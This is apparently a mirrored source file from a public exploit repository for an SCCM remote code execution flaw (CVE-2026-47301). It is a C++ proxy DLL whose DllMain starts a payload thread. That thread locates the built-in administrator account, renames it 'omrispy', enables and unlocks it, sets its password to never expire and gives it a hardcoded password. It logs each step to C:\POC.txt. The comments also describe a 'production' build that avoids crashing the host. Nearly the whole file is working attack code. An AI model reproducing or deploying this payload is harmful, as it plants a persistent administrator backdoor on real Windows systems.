mirror of
https://github.com/OmriBaso/SCCM-CVE-2026-47301-Remote-Code-Execution-Exploit
synced 2026-08-14 10:52:25 +00:00
281 lines
9.4 KiB
C++
281 lines
9.4 KiB
C++
// adsource_proxy.cpp
|
|
//
|
|
// Proxy DLL for the SCCM cab-slip -> adsysdis.dll -> adsource.dll RCE chain.
|
|
//
|
|
// Payload now runs from DllMain (DLL_PROCESS_ATTACH) on a worker thread, so it
|
|
// fires the instant adsysdis loads the DLL -- BEFORE any (stubbed) export can be
|
|
// called and crash the host. Build MUST link with /ENTRY:DllMain (NOT /NOENTRY),
|
|
// otherwise DllMain is dead code and nothing runs.
|
|
//
|
|
// For the production, non-crashing build, replace the stub .def with pure
|
|
// forwarders to a renamed genuine copy (adsource_orig.dll). The payload here is
|
|
// unchanged either way -- it lives in DllMain, not in an export.
|
|
//
|
|
// Build: see Build.ps1
|
|
|
|
#include <windows.h>
|
|
|
|
#pragma function(memset)
|
|
extern "C" void* __cdecl memset(void* dest, int ch, size_t count) {
|
|
unsigned char* p = (unsigned char*)dest;
|
|
while (count--) *p++ = (unsigned char)ch;
|
|
return dest;
|
|
}
|
|
|
|
// ---------- netapi32 types ----------
|
|
|
|
typedef DWORD NET_API_STATUS;
|
|
#define NERR_Success 0
|
|
#define UF_SCRIPT 0x0001
|
|
#define UF_NORMAL_ACCOUNT 0x0200
|
|
#define UF_DONT_EXPIRE_PASSWD 0x10000
|
|
#define UF_ACCOUNTDISABLE 0x0002
|
|
#define UF_LOCKOUT 0x0010
|
|
|
|
#define USER_UF_FIELD 0x00000008 // flag for USER_INFO_1008
|
|
|
|
typedef struct {
|
|
DWORD usri1008_flags;
|
|
} USER_INFO_1008;
|
|
|
|
typedef struct {
|
|
LPWSTR usri1003_password;
|
|
} USER_INFO_1003;
|
|
|
|
typedef struct {
|
|
LPWSTR usri0_name;
|
|
} USER_INFO_0;
|
|
|
|
typedef struct {
|
|
DWORD usri20_name[1]; // placeholder; we only need usri20_flags
|
|
} USER_INFO_20;
|
|
|
|
typedef NET_API_STATUS (WINAPI *fn_NetUserEnum)(
|
|
LPCWSTR, DWORD, DWORD, LPBYTE*, DWORD, LPDWORD, LPDWORD, LPDWORD);
|
|
typedef NET_API_STATUS (WINAPI *fn_NetUserGetInfo)(
|
|
LPCWSTR, LPCWSTR, DWORD, LPBYTE*);
|
|
typedef NET_API_STATUS (WINAPI *fn_NetUserSetInfo)(
|
|
LPCWSTR, LPCWSTR, DWORD, LPBYTE, LPDWORD);
|
|
typedef NET_API_STATUS (WINAPI *fn_NetApiBufferFree)(LPVOID);
|
|
|
|
typedef struct {
|
|
LPWSTR usri1_name;
|
|
LPWSTR usri1_password;
|
|
DWORD usri1_password_age;
|
|
DWORD usri1_priv;
|
|
LPWSTR usri1_home_dir;
|
|
LPWSTR usri1_comment;
|
|
DWORD usri1_flags;
|
|
LPWSTR usri1_script_path;
|
|
} USER_INFO_1;
|
|
|
|
// ---------- logging ----------
|
|
|
|
static void GetFullUserName(char* out, DWORD outSize) {
|
|
HANDLE hToken = NULL;
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
|
lstrcpynA(out, "(unknown)", (int)outSize);
|
|
return;
|
|
}
|
|
BYTE tokBuf[256] = {0};
|
|
DWORD needed = 0;
|
|
BOOL ok = GetTokenInformation(hToken, TokenUser, tokBuf, sizeof(tokBuf), &needed);
|
|
CloseHandle(hToken);
|
|
if (!ok) { lstrcpynA(out, "(unknown)", (int)outSize); return; }
|
|
|
|
PSID sid = ((TOKEN_USER*)tokBuf)->User.Sid;
|
|
char user[128] = {0}, domain[128] = {0};
|
|
DWORD userSize = sizeof(user), domainSize = sizeof(domain);
|
|
SID_NAME_USE snu;
|
|
if (!LookupAccountSidA(NULL, sid, user, &userSize, domain, &domainSize, &snu))
|
|
lstrcpynA(out, "(unknown)", (int)outSize);
|
|
else
|
|
wsprintfA(out, "%s\\%s", domain, user);
|
|
}
|
|
|
|
static void Log(const char* msg) {
|
|
HANDLE h = CreateFileA("C:\\POC.txt", FILE_APPEND_DATA,
|
|
FILE_SHARE_READ | FILE_SHARE_WRITE, NULL,
|
|
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (h == INVALID_HANDLE_VALUE) return;
|
|
SetFilePointer(h, 0, NULL, FILE_END);
|
|
char buf[512];
|
|
char userId[256] = {0};
|
|
GetFullUserName(userId, sizeof(userId));
|
|
int n = wsprintfA(buf, "[%s] %s | PID=%lu TID=%lu | tick=%lu\r\n",
|
|
userId, msg, GetCurrentProcessId(), GetCurrentThreadId(), GetTickCount());
|
|
DWORD written = 0;
|
|
WriteFile(h, buf, (DWORD)n, &written, NULL);
|
|
CloseHandle(h);
|
|
}
|
|
|
|
// ---------- payload ----------
|
|
|
|
static void EnableBuiltinAdmin(void) {
|
|
HMODULE hNet = LoadLibraryA("netapi32.dll");
|
|
if (!hNet) { Log("FAIL: LoadLibrary netapi32.dll"); return; }
|
|
|
|
fn_NetUserGetInfo pGetInfo = (fn_NetUserGetInfo) GetProcAddress(hNet, "NetUserGetInfo");
|
|
fn_NetUserSetInfo pSetInfo = (fn_NetUserSetInfo) GetProcAddress(hNet, "NetUserSetInfo");
|
|
fn_NetApiBufferFree pFreeBuf = (fn_NetApiBufferFree)GetProcAddress(hNet, "NetApiBufferFree");
|
|
|
|
if (!pGetInfo || !pSetInfo || !pFreeBuf) {
|
|
Log("FAIL: GetProcAddress netapi32");
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
wchar_t password[] = L"Xm#Poc-2026!Adm1n$Ok";
|
|
char msg[512];
|
|
|
|
// --- Step 1: Find the built-in RID 500 account by its well-known SID ---
|
|
// WinAccountAdministratorSid requires the machine's domain SID as input.
|
|
wchar_t compName[MAX_COMPUTERNAME_LENGTH + 1] = {0};
|
|
DWORD compSize = MAX_COMPUTERNAME_LENGTH + 1;
|
|
if (!GetComputerNameW(compName, &compSize)) {
|
|
wsprintfA(msg, "GetComputerName failed gle=%lu", GetLastError());
|
|
Log(msg);
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
BYTE machineSid[SECURITY_MAX_SID_SIZE];
|
|
DWORD machineSidSize = sizeof(machineSid);
|
|
wchar_t machineDom[256] = {0};
|
|
DWORD machineDomLen = 256;
|
|
SID_NAME_USE machineSnu;
|
|
if (!LookupAccountNameW(NULL, compName, machineSid, &machineSidSize,
|
|
machineDom, &machineDomLen, &machineSnu)) {
|
|
wsprintfA(msg, "LookupAccountName(computer) failed gle=%lu", GetLastError());
|
|
Log(msg);
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
BYTE adminSid[SECURITY_MAX_SID_SIZE];
|
|
DWORD adminSidSize = sizeof(adminSid);
|
|
if (!CreateWellKnownSid(WinAccountAdministratorSid, machineSid, adminSid, &adminSidSize)) {
|
|
wsprintfA(msg, "CreateWellKnownSid(RID500) failed gle=%lu", GetLastError());
|
|
Log(msg);
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
wchar_t currentName[256] = {0};
|
|
wchar_t domBuf[256] = {0};
|
|
DWORD nameLen = 256, domLen = 256;
|
|
SID_NAME_USE snu;
|
|
if (!LookupAccountSidW(NULL, adminSid, currentName, &nameLen, domBuf, &domLen, &snu)) {
|
|
wsprintfA(msg, "LookupAccountSid(RID500) failed gle=%lu", GetLastError());
|
|
Log(msg);
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
wsprintfA(msg, "RID 500 original name: %ls", currentName);
|
|
Log(msg);
|
|
|
|
// --- Step 2: Rename to "omrispy" ---
|
|
if (lstrcmpiW(currentName, L"omrispy") != 0) {
|
|
USER_INFO_0 renameInfo;
|
|
renameInfo.usri0_name = (LPWSTR)L"omrispy";
|
|
DWORD parmErr = 0;
|
|
NET_API_STATUS st = pSetInfo(NULL, currentName, 0, (LPBYTE)&renameInfo, &parmErr);
|
|
wsprintfA(msg, "Rename '%ls' -> 'omrispy' status=%lu parmErr=%lu", currentName, st, parmErr);
|
|
Log(msg);
|
|
if (st != NERR_Success) {
|
|
Log("WARN: rename failed; continuing with current name for remaining ops");
|
|
}
|
|
} else {
|
|
Log("RID 500 already named 'omrispy'");
|
|
}
|
|
|
|
// Use whatever name the account has now for subsequent calls
|
|
wchar_t targetName[256];
|
|
// Re-resolve in case rename succeeded
|
|
nameLen = 256; domLen = 256;
|
|
if (LookupAccountSidW(NULL, adminSid, targetName, &nameLen, domBuf, &domLen, &snu)) {
|
|
wsprintfA(msg, "Using account name: %ls", targetName);
|
|
Log(msg);
|
|
} else {
|
|
lstrcpynW(targetName, L"omrispy", 256);
|
|
Log("Re-resolve failed; assuming 'omrispy'");
|
|
}
|
|
|
|
// --- Step 3: Get current flags, enable if disabled, unlock if locked ---
|
|
LPBYTE infoBuf = NULL;
|
|
NET_API_STATUS st = pGetInfo(NULL, targetName, 1, &infoBuf);
|
|
if (st != NERR_Success || !infoBuf) {
|
|
wsprintfA(msg, "NetUserGetInfo(1) status=%lu", st);
|
|
Log(msg);
|
|
FreeLibrary(hNet);
|
|
return;
|
|
}
|
|
|
|
USER_INFO_1* pUI1 = (USER_INFO_1*)infoBuf;
|
|
DWORD oldFlags = pUI1->usri1_flags;
|
|
wsprintfA(msg, "Current flags=0x%lX (disabled=%d locked=%d)",
|
|
oldFlags, !!(oldFlags & UF_ACCOUNTDISABLE), !!(oldFlags & UF_LOCKOUT));
|
|
Log(msg);
|
|
|
|
DWORD newFlags = oldFlags;
|
|
newFlags &= ~UF_ACCOUNTDISABLE;
|
|
newFlags &= ~UF_LOCKOUT;
|
|
newFlags |= UF_DONT_EXPIRE_PASSWD;
|
|
|
|
if (newFlags != oldFlags) {
|
|
USER_INFO_1008 flagInfo;
|
|
flagInfo.usri1008_flags = newFlags;
|
|
DWORD parmErr = 0;
|
|
st = pSetInfo(NULL, targetName, 1008, (LPBYTE)&flagInfo, &parmErr);
|
|
wsprintfA(msg, "Enable/unlock status=%lu parmErr=%lu newFlags=0x%lX", st, parmErr, newFlags);
|
|
Log(msg);
|
|
} else {
|
|
Log("Account already enabled and unlocked");
|
|
}
|
|
|
|
pFreeBuf(infoBuf);
|
|
|
|
// --- Step 4: Set password ---
|
|
USER_INFO_1003 pwInfo;
|
|
pwInfo.usri1003_password = password;
|
|
DWORD parmErr = 0;
|
|
st = pSetInfo(NULL, targetName, 1003, (LPBYTE)&pwInfo, &parmErr);
|
|
wsprintfA(msg, "SetPassword status=%lu parmErr=%lu (0=ok, 2245=too short, 5=access denied)", st, parmErr);
|
|
Log(msg);
|
|
|
|
FreeLibrary(hNet);
|
|
}
|
|
|
|
// ---------- worker (runs off the loader lock) ----------
|
|
|
|
static volatile LONG g_ran = 0;
|
|
|
|
static DWORD WINAPI PayloadThread(LPVOID) {
|
|
if (InterlockedExchange(&g_ran, 1) != 0) return 0; // once per process
|
|
Log("Worker: start");
|
|
EnableBuiltinAdmin();
|
|
Log("Worker: done");
|
|
return 0;
|
|
}
|
|
|
|
// ---------- DLL entry (this IS the payload trigger; needs /ENTRY:DllMain) ----------
|
|
|
|
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
|
|
if (reason == DLL_PROCESS_ATTACH) {
|
|
DisableThreadLibraryCalls(hMod);
|
|
Log("DllMain ATTACH");
|
|
// Do NOT call LoadLibrary / net APIs under loader lock -- hand off to a thread.
|
|
HANDLE hThr = CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
|
|
if (hThr) CloseHandle(hThr);
|
|
else Log("FAIL: CreateThread");
|
|
}
|
|
return TRUE;
|
|
}
|
|
|
|
// ---------- generic export stub (satisfies the .def for the test build) ----------
|
|
|
|
extern "C" void* Stub(void) {
|
|
return NULL;
|
|
}
|